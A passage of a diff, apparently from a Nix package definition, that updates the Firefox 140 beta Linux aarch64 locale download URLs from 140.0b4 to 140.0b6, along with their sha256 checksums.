+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/bg/firefox-140.0b6.tar.xz";
       locale = "bg";
       arch = "linux-aarch64";
-      sha256 = "fa1e2d472ace070d1dc8beabf7cddf85b571957c453ccf8cd08ea14ee213761a";
+      sha256 = "0c09e5d84a4a63293d46ffaabaf65aaeed0a70799768b4f7b5ea0d485b7202eb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/bn/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/bn/firefox-140.0b6.tar.xz";
       locale = "bn";
       arch = "linux-aarch64";
-      sha256 = "bf8b652eef9f6fe89adf3cab9639b59cd2ce5009c31f690923a09ae399b68570";
+      sha256 = "6c0bc3a7c3ad9ec76923dc886a8a0c676ebda43969b8dfc31a5d39320db80024";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/br/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/br/firefox-140.0b6.tar.xz";
       locale = "br";
       arch = "linux-aarch64";
-      sha256 = "fa245862a996f8023b25035e2176e54047af8d333912a89be7faca81908a4604";
+      sha256 = "ee2553bb9d8dee02646c6c3bf17e17af86fd6e8607ad8432c3d742652f15bcc9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/bs/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/bs/firefox-140.0b6.tar.xz";
       locale = "bs";
       arch = "linux-aarch64";
-      sha256 = "34976543a5bc5d9558d8e725391b22805dcf8b8797cf6a54701cee7328106550";
+      sha256 = "abf76060303df5d1773e6828987fbfbdb00af03588fcdf6a3965b320502e6b63";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ca-valencia/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ca-valencia/firefox-140.0b6.tar.xz";
       locale = "ca-valencia";
       arch = "linux-aarch64";
-      sha256 = "8a9a04837e328286f8128f9b744d274d98f7db5762c244f9294e0f9fe7766731";
+      sha256 = "19a3c72cf20d28353d59a1cf0ee3dce6490e10a90ce9f44b2f1944c4c43245bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ca/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ca/firefox-140.0b6.tar.xz";
       locale = "ca";
       arch = "linux-aarch64";
-      sha256 = "384a1314de0b0c566fdfe39c2a74905f972a624fa434359dd6914e7224d95641";
+      sha256 = "0412d10ef86ed5a8ddab3e1ba25cd4d7ebfc4f9c2013e0b234c1d92d6bd77b73";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/cak/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/cak/firefox-140.0b6.tar.xz";
       locale = "cak";
       arch = "linux-aarch64";
-      sha256 = "ffd23426e799190a55d6e2db09f3ab1ad9512a8fdf11a065ced8eda4715198c3";
+      sha256 = "a33cbfb911b5096eaa412cbd04906f024cd732b01b456c4963aebd2adf317253";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/cs/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/cs/firefox-140.0b6.tar.xz";
       locale = "cs";
       arch = "linux-aarch64";
-      sha256 = "779085fadd246044b587c08ff4ed2397215a97b0d0ca4a5a3df70142bf75e43a";
+      sha256 = "bf20cc69af960c04edd471c4fd72d3597ec7fb4924b3449789f1a5b44d5a0133";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/cy/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/cy/firefox-140.0b6.tar.xz";
       locale = "cy";
       arch = "linux-aarch64";
-      sha256 = "be7161a550b8698b20cc2a5005a0c6656a10ae2685c5ad52d5133da4d7812f76";
+      sha256 = "f0925388ec9f9316399c82f03b4b6350bea6d3b515e0587c9e6fc5b897b77324";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/da/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/da/firefox-140.0b6.tar.xz";
       locale = "da";
       arch = "linux-aarch64";
-      sha256 = "2f524f76f90fca51a39a3d8c574c50aaf7cef68e276431966ca616c40212a964";
+      sha256 = "15f52ae2b4065cb38b36f9e395bc7b6d6f5bf2bfafda2410f661738ebff2a5c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/de/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/de/firefox-140.0b6.tar.xz";
       locale = "de";
       arch = "linux-aarch64";
-      sha256 = "8ebe0cdd840bc6ef9e3f2a5801a6308d35d265ca32eeb54db6ae863216a10b5c";
+      sha256 = "dfe792ee7af319e1b84451b4cfeaedbc49292b4eafdffd07149adbb493ef7127";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/dsb/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/dsb/firefox-140.0b6.tar.xz";
       locale = "dsb";
       arch = "linux-aarch64";
-      sha256 = "72b2c42048b933c29410db5ab1cf3b83f1b9d89a5b1130777598bc8572437bac";
+      sha256 = "a7a4fbfcfb260fb3acde102faaedc31a1b8a06c6fb2e9c15876786d831437e3b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/el/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/el/firefox-140.0b6.tar.xz";
       locale = "el";
       arch = "linux-aarch64";
-      sha256 = "138e9495ccf965c528ad0c2482b11557c6ff0ab4723332bbdd37bd2ce1afbe72";
+      sha256 = "96de1969c025ed81f08258aa2acb5c3bcc8de287634d8593d71a7eee82661572";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/en-CA/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/en-CA/firefox-140.0b6.tar.xz";
       locale = "en-CA";
       arch = "linux-aarch64";
-      sha256 = "fe569caab44348927473fcca363e859f3ac3ba1eff752abd9978e9e0cccc397d";
+      sha256 = "66ead601728050a0d3a11e745dadf8cc5ebbce10081a2b3ccaf5b74b094fa0f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/en-GB/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/en-GB/firefox-140.0b6.tar.xz";
       locale = "en-GB";
       arch = "linux-aarch64";
-      sha256 = "c069247ef7744b71547ba952b2d332563bb0bed5ee4c33a5bab20c8f0b71156e";
+      sha256 = "89248abcaaaa0ad95c1122e329765895d1ecda7bb09c249436e5754d24b66d4b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/en-US/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/en-US/firefox-140.0b6.tar.xz";
       locale = "en-US";
       arch = "linux-aarch64";
-      sha256 = "e91834ae34ef10d436a22795b4d5716df01a31c83fdefd8cf22a62deb4dc26c6";
+      sha256 = "74b718e0d55d4b5604ec0329c031d1c4df6d1e8f563a1cdf0856359b5a1e0733";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/eo/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/eo/firefox-140.0b6.tar.xz";
       locale = "eo";
       arch = "linux-aarch64";
-      sha256 = "b2626c8d82f90f958e39c6fc8fdd11e0e477e54c0fa770b8642ea4eacc5c145e";
+      sha256 = "8f838213f60897bf7efa4ac2bae5d2158bdc0badca1199007daaa28300c3798b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/es-AR/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/es-AR/firefox-140.0b6.tar.xz";
       locale = "es-AR";
       arch = "linux-aarch64";
-      sha256 = "20bbd71dda6392b8e296d36f27be410e2bb831bccad9a6eb520b3ef3a8eadf2b";
+      sha256 = "71347bf238c17fade8c0b976162f79c15fc7ddb2757739e6726fa9c5178483b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/es-CL/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/es-CL/firefox-140.0b6.tar.xz";
       locale = "es-CL";
       arch = "linux-aarch64";
-      sha256 = "47492d04205be6c535209513f64b9c0896a3a786c5af3e87add57425e95d2a04";
+      sha256 = "a03fd736264f9350ce8afbb7bf748ef1334cd0c56d3a46b7cc4a7cbec9102ae6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/es-ES/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/es-ES/firefox-140.0b6.tar.xz";
       locale = "es-ES";
       arch = "linux-aarch64";
-      sha256 = "f1504517f6e874ae5c73cc73fda5763b692d403be5b2d6a3c5fdebca847dd044";
+      sha256 = "359b40f625f56dc6d0d0b9d485ac63191150c3a44a74e9075a41e911ceeb4a86";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/es-MX/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/es-MX/firefox-140.0b6.tar.xz";
       locale = "es-MX";
       arch = "linux-aarch64";
-      sha256 = "9e8fae58eebc5fd0fc212ed66ed63add5408730de3b360020ea39ee3c67e70a2";
+      sha256 = "c57bb72b0bef5d9cb51c8090105a5f67e1588ca4e7c7df39c4f62065af0615db";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/et/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/et/firefox-140.0b6.tar.xz";
       locale = "et";
       arch = "linux-aarch64";
-      sha256 = "c9256db0e31b1d836cb4ad7d45c9289d45dc05853a0883071103b581743645b9";
+      sha256 = "c2fa39b2e8e8a30b9cb5bf5659a060740dfb38674788bdd3c49ccb097113a1a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/eu/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/eu/firefox-140.0b6.tar.xz";
       locale = "eu";
       arch = "linux-aarch64";
-      sha256 = "a85b68a93d51c3c42343a7038ac72d4ee3b0847aee312a3f720899abc3b30961";
+      sha256 = "904d296570aba820bbd085669c99c14c821af6115fc06141afa1769fb5216f48";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/fa/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/fa/firefox-140.0b6.tar.xz";
       locale = "fa";
       arch = "linux-aarch64";
-      sha256 = "44ee01aa1e8c1ef973cdb2b28916635fef9bb81a7dbb7e735e055aac02f65007";
+      sha256 = "748a9367cd5c0eb882d6d215b75398eae46125ea1468a58a5afbf062c949a294";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ff/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ff/firefox-140.0b6.tar.xz";
       locale = "ff";
       arch = "linux-aarch64";
-      sha256 = "0dc1f2c9223adfbff26376aa55fa858ea89e04fcb4f3326b115bc6f9cd0f1791";
+      sha256 = "30afedea01cf5bcb552b75c07dc5681f16fa24f64fbf25f3b366ba0a2142409d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/fi/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/fi/firefox-140.0b6.tar.xz";
       locale = "fi";
       arch = "linux-aarch64";
-      sha256 = "43c5253851fc94038a7b8c922660651f43484d70cc54d22dc0f521fb978e76b4";
+      sha256 = "d60fa03385f079befeea5fd302a655c6e93612b9ce191ad1e04023c6ddc83130";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/fr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/fr/firefox-140.0b6.tar.xz";
       locale = "fr";
       arch = "linux-aarch64";
-      sha256 = "eaed4f0100d898555c1f2bfab43592648342b9be1a712602c43929a77f61f67c";
+      sha256 = "571d520820c9bc24310ec5191040ca999ca41d1f95b99f16d4147f0a867dc253";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/fur/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/fur/firefox-140.0b6.tar.xz";
       locale = "fur";
       arch = "linux-aarch64";
-      sha256 = "e74ce591b238c6a6754180aaf8eec4701206c84204b2792e505d3b065235be10";
+      sha256 = "2f7a970b94fa2a0fd54768558517fe8bfe8e0f27a946b0495603b824982a2623";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/fy-NL/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/fy-NL/firefox-140.0b6.tar.xz";
       locale = "fy-NL";
       arch = "linux-aarch64";
-      sha256 = "15309be99c0df4c8bf23ac5387e8ba6c15b2051e54a331a943c4cc54959e645f";
+      sha256 = "43e6c3489dfdebe246ab67d6d625706b8b445748a3ee182568572f3c3038a94a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ga-IE/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ga-IE/firefox-140.0b6.tar.xz";
       locale = "ga-IE";
       arch = "linux-aarch64";
-      sha256 = "0b7d2969509f650aa4e725d38022ec61633e89d5b325075be3eb97649abf58f2";
+      sha256 = "c14c09e50413596f1e50aed7a64744103e2d6765b7e41b34a0551e5562313203";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/gd/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/gd/firefox-140.0b6.tar.xz";
       locale = "gd";
       arch = "linux-aarch64";
-      sha256 = "9f28a60ecd9e6eee111df4b57b437739a77a55276d9fb66d2191c4fb0a0b9886";
+      sha256 = "11dde7a7e5b04f37df9932a3b43f7f2a8b1983311888742366ac1bcc9634a1af";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/gl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/gl/firefox-140.0b6.tar.xz";
       locale = "gl";
       arch = "linux-aarch64";
-      sha256 = "d561f29fa446a9541f43651f439cde9a4c7c5dd7a4fe7d8dbb41e7dcc1aa351f";
+      sha256 = "68328e15c35b069a9ca2ebccdaef368d66f7dce7f14adf7bebeeaa7c0a41892b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/gn/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/gn/firefox-140.0b6.tar.xz";
       locale = "gn";
       arch = "linux-aarch64";
-      sha256 = "84415639e92579f37ecd8598d2757a3a49aa8c81287c3d8c5b653e489e5e41a6";
+      sha256 = "7180f6d3d3b3718547663e4d6545066ab258cfdf5910124625035cc35f1c26e3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/gu-IN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/gu-IN/firefox-140.0b6.tar.xz";
       locale = "gu-IN";
       arch = "linux-aarch64";
-      sha256 = "d05bd65e0115b4dd204833e980928e8f409e79fbad11cf003c22863775e41b14";
+      sha256 = "d459f0bcfbc1ca990121513e0bed6b3315ea114e297ccbe7e80a9e310bb94cb9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/he/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/he/firefox-140.0b6.tar.xz";
       locale = "he";
       arch = "linux-aarch64";
-      sha256 = "3dc2d50792fe1ecf2248f243da773da783df54c039ef6f47e316caec33353f51";
+      sha256 = "b83d10b890852cd347b36923838ac0fc38d1b1d6657fa27852c9a0d7f0d8de30";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/hi-IN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/hi-IN/firefox-140.0b6.tar.xz";
       locale = "hi-IN";
       arch = "linux-aarch64";
-      sha256 = "e8004158a6a24786c3ce373e43c9d9cab82142bb7d2eae9fd187f8be3e315606";
+      sha256 = "3b3d208f0ee43f5fb49b11e64c5d2f4cdd4939d004d9429e24849ffbba6311f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/hr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/hr/firefox-140.0b6.tar.xz";
       locale = "hr";
       arch = "linux-aarch64";
-      sha256 = "c0c047431c8ae0786a77b3934f47b9b5723028e028ce487a895f997fc7ca40ff";
+      sha256 = "c02589f2dd9f4b736e6a00f151e1ad5e763279b1a9d4b5e037b14f71b8d005f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/hsb/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/hsb/firefox-140.0b6.tar.xz";
       locale = "hsb";
       arch = "linux-aarch64";
-      sha256 = "12d757bb7689211acc5a9bf7380eb4b8f659dc5e797a16481ff43d19252670a0";
+      sha256 = "622f74e99562c74d055ae1bfde21dca5d24362498cd72a71f6dcb0a424599541";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/hu/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/hu/firefox-140.0b6.tar.xz";
       locale = "hu";
       arch = "linux-aarch64";
-      sha256 = "21e08a716cd14ae2ddd8797cecd3a387d6a69f1725283da9dab778cee0ac5a96";
+      sha256 = "3c2af96b89aa2a91bee2c684876912b2fe94e29ec04e64f516c27dadee496a3e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/hy-AM/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/hy-AM/firefox-140.0b6.tar.xz";
       locale = "hy-AM";
       arch = "linux-aarch64";
-      sha256 = "cf0ec104784fa1f8b0965ccb54476021b0aa553fa61f76258ccc0838af3fdc58";
+      sha256 = "13b89a8966517155f3dc21f24c200b303f9f109f7aacd2714119102582f74f14";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ia/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ia/firefox-140.0b6.tar.xz";
       locale = "ia";
       arch = "linux-aarch64";
-      sha256 = "d398f24f832df11e54319485990d6b0763b88018e4942734f97eb6aa1027ab14";
+      sha256 = "2e3d19abddff21e05666f3de3fc92d1b82e324273d0ac743e5e7c1591f5bb405";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/id/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/id/firefox-140.0b6.tar.xz";
       locale = "id";
       arch = "linux-aarch64";
-      sha256 = "66300532e61904c2ec3b38654fa5c04fc77132264560651eb47d08505f92aa93";
+      sha256 = "0a4a3ed1eb5ea28e8c0076cafa34c5a9b1008fb6cc118b73e8addb0c1a944452";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/is/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/is/firefox-140.0b6.tar.xz";
       locale = "is";
       arch = "linux-aarch64";
-      sha256 = "905759bb5644dba6962cac36370c8092c8b4d940dd0fd811d89f2633d8278375";
+      sha256 = "599184c990b9960c021822eaebe88a57fa4900843fabe2d1e2a40c0806e29cdb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/it/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/it/firefox-140.0b6.tar.xz";
       locale = "it";
       arch = "linux-aarch64";
-      sha256 = "090d658b0d9883ae4cb030efbae33dcad50cec614cc4df645d9d578f8f3d9f78";
+      sha256 = "9ede42df893c8034c5773b149e1a9d83671999ca6931829b6042177531649dc3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ja/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ja/firefox-140.0b6.tar.xz";
       locale = "ja";
       arch = "linux-aarch64";
-      sha256 = "498c93faff28cdf519c68228a929538a6d86722aa23cf77c65b9a6bc9eec6cde";
+      sha256 = "ac162386b75ed1f4e0019fb3adca8ed1b23dfae029aae7cbadc7cc9ae49c3cec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ka/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ka/firefox-140.0b6.tar.xz";
       locale = "ka";
       arch = "linux-aarch64";
-      sha256 = "6a7219133dc2cd5828fca8c47c8918960078a1edb04e5d0f130572802228d8f2";
+      sha256 = "f6c5896f77ac909c9af4fddb4c5a4d920dc3fc2d8b564c22264d719a7c763163";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/kab/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/kab/firefox-140.0b6.tar.xz";
       locale = "kab";
       arch = "linux-aarch64";
-      sha256 = "61bf24a6f254d3a290207fd3c2578d3fe0968ac6af729c5468952c7508e60f32";
+      sha256 = "cbf718b24c98f40c9b76415f307da3e0d53aa920e6a4db70ed9829f359c20431";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/kk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/kk/firefox-140.0b6.tar.xz";
       locale = "kk";
       arch = "linux-aarch64";
-      sha256 = "c390e1a6bea9f444984fc78ac8b321c1f7a629540716f311677ce31ae853f52e";
+      sha256 = "9bdc580d9b0de74523b8e0dcaa171ea116d482342bb7121267245ccbfd509b34";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/km/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/km/firefox-140.0b6.tar.xz";
       locale = "km";
       arch = "linux-aarch64";
-      sha256 = "f37ca60447383abbef2720253a82d551a906b0e358c404480e94b8e69dbcd92a";
+      sha256 = "bb77e241893deff4db5e9f128c9cc28caba530c7e85ba458b1664768c97dea4f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/kn/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/kn/firefox-140.0b6.tar.xz";
       locale = "kn";
       arch = "linux-aarch64";
-      sha256 = "a5069cf01bfb68e73a524638cbb8fc435e54cf874369c0ae8199e724dcbd96eb";
+      sha256 = "89c2e1abcf24f2d0831c110d5633151edcb90a4203a0bd19b83e384f8773b3aa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ko/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ko/firefox-140.0b6.tar.xz";
       locale = "ko";
       arch = "linux-aarch64";
-      sha256 = "af9ba9b7c6e825b6fbd57cd1b2d015f6ca9ddde361d643d1fe520b7869e21221";
+      sha256 = "157613edeaafeb7d68bdc577fdb31ee6c75df0711f0d79f08a8f3a5595775891";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/lij/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/lij/firefox-140.0b6.tar.xz";
       locale = "lij";
       arch = "linux-aarch64";
-      sha256 = "271945a88d4fc02733fa3de327e613d822445f18c70601f43bf503dc4bb76076";
+      sha256 = "38b59f648d4627b9a71752f56feaff5587982317f7e37d0a64fc72df4dc755e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/lt/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/lt/firefox-140.0b6.tar.xz";
       locale = "lt";
       arch = "linux-aarch64";
-      sha256 = "6e822b90f21a571e72b01c353b0d2371ce0e0e788382c5cb9fbd558869f0abee";
+      sha256 = "0273f44ecb90e322660b7a9421964c1280bc82e18ace52fb504b8c9febb23b15";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/lv/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/lv/firefox-140.0b6.tar.xz";
       locale = "lv";
       arch = "linux-aarch64";
-      sha256 = "840962acfde031c9bf7ac3be1e491444ea5dec8f4fde6eb018376dc39e2beb73";
+      sha256 = "8fe48d4fcc4ac652babc461a5df06825597d18c74109e89ced2fb0d733541313";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/mk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/mk/firefox-140.0b6.tar.xz";
       locale = "mk";
       arch = "linux-aarch64";
-      sha256 = "f1d13371556a0fb39f65e2e327eb87a0abed3d550988faa5a06785145693326e";
+      sha256 = "b961d6b55540d9d9fa567b3013d4fe1f812d9937c3412345e1baa92564444a04";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/mr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/mr/firefox-140.0b6.tar.xz";
       locale = "mr";
       arch = "linux-aarch64";
-      sha256 = "ece70d221688bc7e21b28d849a75fc827f892195ad2ce0eba0851edf5a458ae4";
+      sha256 = "e6dd1df55d196d150a46385c46d8657a744ca26caa810d14e04aaf2910e3b452";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ms/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ms/firefox-140.0b6.tar.xz";
       locale = "ms";
       arch = "linux-aarch64";
-      sha256 = "2ebac815285a5fee53d0038f7504acf772775b76e9c142825d9d38d406abbf1a";
+      sha256 = "f366c7de84e193bd073f6319dbce4777e16fdf9d1cbf53147f3d75265c8031e7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/my/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/my/firefox-140.0b6.tar.xz";
       locale = "my";
       arch = "linux-aarch64";
-      sha256 = "f17264509af2285d77811bb37e04a78ba50795cc7ca9d7315ecf0b657063b02f";
+      sha256 = "33f8c912359b751b729514df0d4d557643cb79274f51a7bb74b467cff33745a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/nb-NO/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/nb-NO/firefox-140.0b6.tar.xz";
       locale = "nb-NO";
       arch = "linux-aarch64";
-      sha256 = "be7310e5f244efd65bd649ec6a87831d74f275d9d47f9fa3af413562e1f520bd";
